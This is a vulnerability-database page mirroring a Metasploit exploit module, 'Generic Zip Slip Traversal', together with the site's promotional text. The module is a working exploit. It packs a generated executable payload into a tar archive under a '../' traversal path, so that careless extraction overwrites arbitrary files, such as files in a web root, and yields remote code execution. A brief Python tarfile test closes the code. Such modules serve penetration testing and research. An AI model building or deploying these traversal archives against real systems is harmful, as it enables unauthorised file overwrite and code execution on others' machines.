Lucene search
K

Generic Zip Slip Traversal

🗓️ 12 Sep 2019 00:00:00Reported by sinn3rType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 245 Views

Generic Zip Slip Traversal Vulnerability. Arbitrary file overwrite resulting in remote code execution

Code
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'rex/zip'  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ManualRanking  
  
include Msf::Exploit::FILEFORMAT  
include Msf::Exploit::EXE  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "Generic Zip Slip Traversal Vulnerability",  
'Description' => %q{  
This is a generic arbitrary file overwrite technique, which typically results in remote  
command execution. This targets a simple yet widespread vulnerability that has been  
seen affecting a variety of popular products including HP, Amazon, Apache, Cisco, etc.  
The idea is that often archive extraction libraries have no mitigations against  
directory traversal attacks. If an application uses it, there is a risk when opening an  
archive that is maliciously modified, and result in the embedded payload to be written  
to an arbitrary location (such as a web root), and result in remote code execution.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Snyk', # Technique discovery  
'sinn3r' # Metasploit  
],  
'References' =>  
[  
['URL', 'https://snyk.io/research/zip-slip-vulnerability']  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'thread',  
'DisablePayloadHandler' => true  
},  
'Platform' => ['linux', 'win', 'unix'],  
'Targets' =>  
[  
['Manually determined', {}]  
],  
'Privileged' => false,  
'DisclosureDate' => "Jun 05 2018"  
))  
  
register_options([  
OptString.new('FILENAME', [true, 'The tar file (tar)', 'msf.tar']),  
OptString.new('TARGETPAYLOADPATH', [true, 'The targeted path for payload', '../payload.bin'])  
])  
end  
  
class ZipSlipArchive  
attr_reader :data  
attr_reader :fname  
attr_reader :payload  
  
def initialize(n, p)  
@fname = n  
@payload = p  
@data = make  
end  
  
def make  
data = ''  
path = Rex::FileUtils.normalize_unix_path(fname)  
tar = StringIO.new  
Rex::Tar::Writer.new(tar) do |t|  
t.add_file(path, 0777) do |f|  
f.write(payload)  
end  
end  
tar.seek(0)  
data = tar.read  
tar.close  
data  
end  
end  
  
def make_tar(target_payload_path)  
elf = generate_payload_exe(code: payload.encoded)  
archive = ZipSlipArchive.new(target_payload_path, generate_payload_exe)  
archive.make  
end  
  
def exploit  
target_payload_path = datastore['TARGETPAYLOADPATH']  
unless target_payload_path.match(/\.\.\//)  
print_error('Please set a traversal path')  
return  
end  
  
tar = make_tar(target_payload_path)  
file_create(tar)  
print_status('When extracted, the payload is expected to extract to:')  
print_status(target_payload_path)  
end  
end  
  
=begin  
A quick test:  
  
$ python  
>>> import tarfile  
>>> t = tarfile.open('test.tar')  
>>> t.extractall()  
>>> exit()  
  
=end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

12 Sep 2019 00:00Current
0.1Low risk
Vulners AI Score0.1
245